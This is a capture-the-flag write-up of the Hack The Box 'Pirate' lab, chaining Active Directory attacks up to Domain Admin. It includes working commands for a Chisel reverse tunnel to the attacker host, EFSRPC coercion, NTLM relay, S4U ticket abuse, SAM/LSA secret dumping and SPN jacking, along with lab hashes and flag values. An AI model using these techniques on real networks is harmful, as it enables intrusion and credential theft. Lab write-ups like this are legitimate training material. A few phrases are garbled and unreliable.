Hack The Box - Pirate
Pirate — HTB Writeup (Hard · Windows · Season 10 Week 5)
Own it like you mean it — Multi-Host AD chain: Pre-Win2000 → gMSA → WinRM → Chisel pivot → EFSRPC coercion → NTLM relay RBCD → S4U2Proxy user.txt → LSA/SPN jacking → Domain Admin → root.txt.
- IP:
10.129.244.95(DC01.pirate.htb) - Domain:
pirate.htb(DC01 dual-homed:10.129.244.95+ internal192.168.100.1) - Flags (in git-ignored
loot/):loot/user.txt,loot/root.txt - Supplied creds:
pentest / p3nt3st2025!&

0 · Recon
nmap -sS --open -p- --min-rate 3000 10.129.244.95
Classic AD footprint: 53/88/135/139/389/445/464/593/636/2179/3268/3269/5985/9389 — a Domain Controller. 2179/tcp (Hyper-V VMRDP) + 192.168.100.0/24 routes signal a virtualized multi-host lab.
Fingerprints:

nmap -sV -p 53,80,88,389,445,5985,2179,9389 10.129.244.95
ldapsearch -x -H ldap://10.129.244.95 -s base -LLL defaultNamingContext dnsHostName
# dnsHostName: DC01.pirate.htb / DC=pirate,DC=htb
Add local resolution:
# /etc/hosts
10.129.244.95 DC01.pirate.htb DC01 pirate.htb
127.0.0.1 WEB01.pirate.htb # later, for tunnel SMB
Kerberos clock discipline — HTB VPN NAT drifts: KRB_AP_ERR_SKEW killed runs until we NTP'd against the DC:
sudo timedatectl set-ntp false && sudo timedatectl set-timezone UTC
sudo date -s "$(python3 - <<'PY' ... NTP via UDP/123 to 10.129.244.95 ... PY)"
1 · Enumeration of the domain (auth as pentest)
pentest authenticates on SMB/LDAP/WinRM — but shares are default-only (IPC$, SYSVOL, NETLOGON read). ADCS (certipy find) showed no ESC1 for us; gMSA password blobs are ACL'd to Domain Secure Servers (only MS01$ is a member). Kerberoastable a.white_adm (ADFS/a.white, RC4) resisted rockyou+rules. Wrong-door probing ends here — inspect the Pre-Windows 2000 group.


ldapsearch ... '(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,...)' sAMAccountName
# DC01$, MS01$, EXCH01$
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo servicePrincipalName
# a.white_adm → http/WEB01.pirate.htb, HTTP/WEB01 (SPN: ADFS/a.white)
Key facts: MS01$ has no DNS hostname (pre2k trust cookie), the robots have Trailing gMSAs gMSA_ADCS_prod$ / gMSA_ADFS_prod$ in Remote Management Users on DC01, and IT-group WriteSPN over DC01/WEB01 for the SPN-jack later.
2 · Initial access — Pre-Windows 2000 computer account MS01$
With password-equals-machine-name (ms01), a TGT is trivial:

impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip 10.129.244.95
export KRB5CCNAME=MS01\$.ccache
gMSADumper.py -k -d pirate.htb -l dc01.pirate.htb
# gMSA_ADCS_prod$:::aa831d274ee80cf2092f68cbcf29093e (UserACL readable via Pre2k group!)
# gMSA_ADFS_prod$:::e819498ec29f595382df1eaf4fb42307
The Pre-Windows-2000 group gives the machine read access to the gMSA msDS-GroupMSAMembership — 8-byte NT blobs come home.
3 · WinRM shell on DC01 as gMSA
gMSA_ADCS_prod$ is member of Remote Management Users → WinRM on DC01. evil-winrm ruby was broken (Reline bug + no WSMan client) and nxc winrm failed on Negotiate with NTLM; the reliable path was Python SPNEGO on HTTP with Kerberos (pypsrp + ccache):
# exploit/wsrman_k.py
cc = spnego.KerberosCCache(cc_path)
c = Client('DC01.pirate.htb', username=cc, password=None, ssl=False, port=5985,
auth='kerberos', negotiate_service='HTTP')

python3 exploit/wsrman_k.py /tmp/krb5cc_gmsa_adcs 'whoami; hostname; Get-ChildItem C:\Users -Force'
# pirate\gmsa_adcs_prod$ / DC01 ...
Lesson worth noting: the HTTP/<host> service ticket is what the WinRM listener expects — negotiate_service='HTTP' fixed every "Server not found in Kerberos database" caused by the default WSMAN SPN.
4 · Pivot: WEB01 is only reachable through DC01
WEB01 sits on 192.168.100.0/24, unreachable from the VPN. DC01 is dual-homed (192.168.100.1).
Ligolo-ng (proxy 0.9.1 ↔ Windows agent) reconnected-forever-looped: every agent handshake registered, recovered, then dropped — and our WinRS-spawned Start-Process children got job-object-killed the moment the shell returned. Chisel 1.10.1 on kali was version-mismatched against its own 1.12 server and reverse-forwards never bound.
Working recipe — Chisel 1.12 both sides + long-lived WinRM shell:
- Upload
chsvc.exevia pypsrpClient.copyinto the gMSA profile. - Run from a winrs shell that stays alive (child processes die when the WinRM session's job terminates):
exploit/launch_tunnel.pycallsexecute_pswith aStart-Sleep 1200tail — keeping the runspace worker alive while the ch client runs. - Reverse-forwards:
chsvc.exe client 10.10.14.10:8443 R:0.0.0.0:15989:192.168.100.2:445 # SMB→WEB01
R:0.0.0.0:15990:192.168.100.2:5985 # WinRM→WEB01
Attacker-side, ports map onto loopback:
| VPN-side listener | Destination (via DC01) |
|---|---|
127.0.0.1:15989 |
WEB01.pirate.htb:445 |
127.0.0.1:15990 |
WEB01.pirate.htb:5985 |
127.0.0.1:8080 |
ligolo Web/API relay (debug) |
127.0.0.1:11601 |
ligolo-ng (optional alternate tunnel) |
SMB → 127.0.0.1:15989 verified with nxc smb:
SMB 127.0.0.1 15989 WEB01 [*] Windows 10 / Server 2019 Build 17763 …
SMB 127.0.0.1 15989 WEB01 [+] pirate.htb\gMSA_ADFS_prod$:e819498ec29f595382df1eaf4fb42307
and nxc spotted the router correctly at smbHandleRequested (127.0.0.1 for local, 10.129.244.95 for coerced WEB01 traffic).
5 · User flag — WEB01$ relay → RBCD → S4U2Proxy → Administrator on WEB01
5.1 Relay listener for the coerced authentication
WEB01 egress: only ports with an open LISTENER on the attacker host are dialable (stateful allow from our TCP viewership). Use ntlmrelayx on 445, ldap:// target (LDAPS signing is enforced), --remove-mic to handle CVE-2019-1040-style MIC:
sudo ntlmrelayx.py \
-t ldap://DC01.pirate.htb \
--delegate-access --remove-mic --no-validate-privs \
--escalate-user 'MS01$' -smb2support
5.2 Coerce WEB01 via MS-EFSR with EfsRpcEncryptFileSrv
EfsRpcOpenFileRaw is patched (rpc_s_access_denied); the newer impacket v0.14 PetitPotam patch status means the tool bails — use the EfsRpcEncryptFileSrv / EfsRpcQueryRecoveryAgents fallbacks. PetitPotam.py has no set_dport → drive it programmatically via our 15989 SMB tunnel:

t = transport.DCERPCTransportFactory(r'ncacn_np:WEB01.pirate.htb[\PIPE\lsarpc]')
t.set_credentials('gMSA_ADFS_prod$', '', 'pirate.htb', '', '<ADFS-NTLM>')
t.set_dport(15989) # chisel forward, SMB to WEB01
t.setRemoteHost('127.0.0.1')
dce.connect(); dce.bind(uuidtup_to_bin(('c681d488-d850-11d0-8c52-00c04fd90f7e','1.0')))
req = mod.EfsRpcEncryptFileSrv()
req['FileName'] = '\\\\10.10.14.10\\test\\Settings.ini\x00'
# → ERROR_BAD_NETPATH = attack worked
ntlmrelayx result:
[*] (SMB): Received connection from 10.129.244.95, attacking target ldap://DC01.pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@10.129.244.95 … SUCCEED
[-] {"result": 50 … INSUFF_ACCESS_RIGHTS} # addcomputer path, ignored
[*] Delegation rights modified succesfully!
[*] MS01$ can now impersonate users on WEB01$ via S4U2Proxy
5.3 S4U2Proxy — Administrator@cifs/WEB01.pirate.htb

getST.py -spn 'cifs/WEB01.pirate.htb' -impersonate Administrator \
'pirate.htb/MS01$:ms01' -dc-ip 10.129.244.95
# Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
The S4U ccache contains only a TGS, no TGT. smbexec/psexec -k blow up with STATUS_MORE_PROCESSING_REQUIRED; gssapi refuses "Matching credential not found". Cleanest path: impacket low-level login with explicit TGS — build the SPNEGO AP-REQ straight from the ccache (Credential.toTGS() → kerberosLogin(..., TGS=tgs)), then read the flag over SMB:
tgs = CCache.loadFile(cc).credentials[0].toTGS()
s = SMBConnection('127.0.0.1', 'WEB01.pirate.htb', sess_port=15989)
s.kerberosLogin('Administrator', '', 'PIRATE.HTB', '', '', None, '', None, TGS=tgs)
s.getFile('C$', r'\Users\a.white\Desktop\user.txt', sink)
# → a81aada2200e1641270b24ece82d178b
🏁 user.txt: a81aada2200e1641270b24ece82d178b (in loot/user.txt)
6 · Privilege escalation — from WEB01 admin to Domain Admin
6.1 Dump local secrets on WEB01
With Administrator@cifs_WEB01 we run a tiny svcctl-based reg save (custom code over SMB pipe, or secretsdump with -use-vss if SPN-ACL allows):
# our svcctl service runs:
cmd /c reg save HKLM\SAM C:\Windows\Temp\SAM.hiv /y
cmd /c reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hiv /y
cmd /c reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hiv /y
# SMB-fetch them, then:
secretsdump.py -system SYSTEM.hiv -sam SAM.hiv -security SECURITY.hiv LOCAL

Administrator:500:aad3b435…:b1aac1584c2ea8ed0a9429684e4fc3e5 (WEB01 local admin NTLM)
PIRATE.HTB/a.white:$DCC2$10240#a.white#<CACHED-HASH>
[*] DefaultPassword
(Unknown User):<a.white-PASSWORD> ← E2nvAOKSz5Xz2MJu
[*] $MACHINE.ACC : feba09cf0013fbf5834f50def734bca9 (WEB01 computer cred!)
DefaultPassword leaves a.white's plaintext password for free.
6.2 Reset a.white_adm through her Delegate right
a.white holds ForceChangePassword on a.white_adm:

bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white -p '<a.white-PASS>' \
set password a.white_adm '<NEW-PASS>'
# [+] Password changed successfully!
6.3 SPN jacking — move the delegation SPN onto the DC
pirate.htb\IT (a.white_adm is a member) has WriteSPN over DC01/WEB01. Move HTTP/WEB01.pirate.htb from WEB01$ to DC01$:
addspn.py -u 'pirate.htb\a.white_adm' -p '<NEW-PASS>' -t 'WEB01$' -s 'HTTP/WEB01.pirate.htb' -r 10.129.244.95 # remove
addspn.py -u 'pirate.htb\a.white_adm' -p '<NEW-PASS>' -t 'DC01$' -s 'HTTP/WEB01.pirate.htb' 10.129.244.95 # add
Now a.white_adm's msDS-AllowedToDelegateTo: http/WEB01.pirate.htb resolves to DC01$ (the KDC looks up SPNs domain-wide).
6.4 S4U2Proxy + altservice → Domain Admin TGS

getST.py -spn 'HTTP/WEB01.pirate.htb' -impersonate Administrator \
'pirate.htb/a.white_adm:<NEW-PASS>' -dc-ip 10.129.244.95 \
-altservice 'CIFS/DC01.pirate.htb'
# Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
7 · Root flag

export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
# impacket TGS-only login against DC01 SMB:
s.kerberosLogin('Administrator', '', 'PIRATE.HTB', ..., TGS=cc.credentials[0].toTGS())
s.getFile('C$', r'\Users\Administrator\Desktop\root.txt', sink)
🏁 root.txt: e42c9381783cc9b9a6a6c6127d0166da (in loot/root.txt) — Domain Admin.
8 · Summary map
MS01$ (Pre-Win2000 = password 'ms01')
└── gMSA read (Domain Secure Servers ACL, Pre2k bypass)
└── gMSA_ADCS_prod$ NTLM+AES → pypsrp WinRM on DC01
└── chisel R:445/5985 endpoints (127.0.0.1:15989/15990)
└── EfsRpcEncryptFileSrv coercion of WEB01$
└── ntlmrelayx ldap:// + remove-mic
└── msDS-AllowedToAct: MS01$ on WEB01$ (RBCD)
└── getST S4U2Proxy → Administrator@cifs/WEB01
└── user.txt (TGS-only ccache SMB read)
└── reg save svcctl helper → SAM/SECURITY/SYSTEM.hiv
└── LSA DefaultPassword → a.white = E2nvAOKS…
└── bloodyAD → reset a.white_adm (ForceChangePassword right)
└── addspn: move HTTP/WEB01 → DC01$ (WriteSPN via IT group)
└── getST S4U2Proxy -altservice CIFS/DC01 → Domain Admin
└── root.txt on C:\Users\Administrator\Desktop
9 · Notes & gotchas (modern-tooling edition)
- Clock: HTB-VPN NAT drift breaks all Kerberos.
KRB_AP_ERR_SKEWfor hours until re-NTP against the DC (systemd-timesync keeps yanking the clock — disable it for the session). HTTP/…vsWSMAN/…SPN: pypsrp'sauth='kerberos'on Windows 2019 wantsHTTP/host— if you see "Server not found in Kerberos database" against a valid SPN, you asked for the wrong service class.evil-winrmon this box: gem's Reline arity is broken against Ruby 3.3 (undefined method quoting_detection_proc) → silent crash;nxc winrmNegotiate path 401s unlessHTTP-SPN is forced. pypsrp + ccache acrossnegotiate_service='HTTP'is the reliable route.ntlmrelayxvsldaps://: DC01 enforces LDAP/LDAPS signing → useldap://+--remove-mic+--no-validate-privs, elseinsufficientAccessRights(the add-computer path fails harmlessly; themsDS-AllowedToActOnBehalfOfOtherIdentitywrite is the one that lands).- S4U ccaches are TGS-only and
gssapicannot consume them. Impacket's own SMB path can viakerberosLogin(..., TGS=cc.credentials[0].toTGS()). Use this trick for any S4U-impersonated SMB task. chsvc.exedies every ~5 min in this setup (WinRS job cleanup). Havelaunch_tunnels.pywith aStart-Sleep <long>tail ready to revive.PetitPotam.py -pipe efsrhits the patch (rpc_s_access_denied). Some 2026-era Windows builds allowEfsRpcEncryptFileSrvandEfsRpcQueryRecoveryAgents— keep both ready.- LSA
DefaultPasswordon WEB01 ignores the plaintexta.whitepassword — don't skip the local secrets on non-DC hosts.
10 · Tooling snapshot (from this run)
| Phase | Tool | File kept |
|---|---|---|
| gMSA dump | gMSADumper.py (micahvandeusen) via pypsrp ccache |
exploit/gMSADumper.py |
| DC01 WinRM | pypsrp + KerberosCCache | exploit/wsrman_k.py |
| Tunnel | Chisel 1.12.0 (matching client+server) | exploit/launch_tunnel.py |
| Coercion | impacket PetitPotam fallback (EfsRpcEncryptFileSrv) via dport-tunnel |
ad-hoc script |
| Relay | ntlmrelayx.py --delegate-access --remove-mic |
— |
| S4U abuse | getST.py -altservice |
— |
| Secrets | svcctl "reg save"-service → secretsdump LOCAL |
ad-hoc |
| Remediations | bloodyAD + addspn (krbrelayx) | /tmp/krbrelayx/addspn.py |
Written from the solve session — flags, met, and stored in git-ignored loot/ (user.txt, root.txt, hive dumps).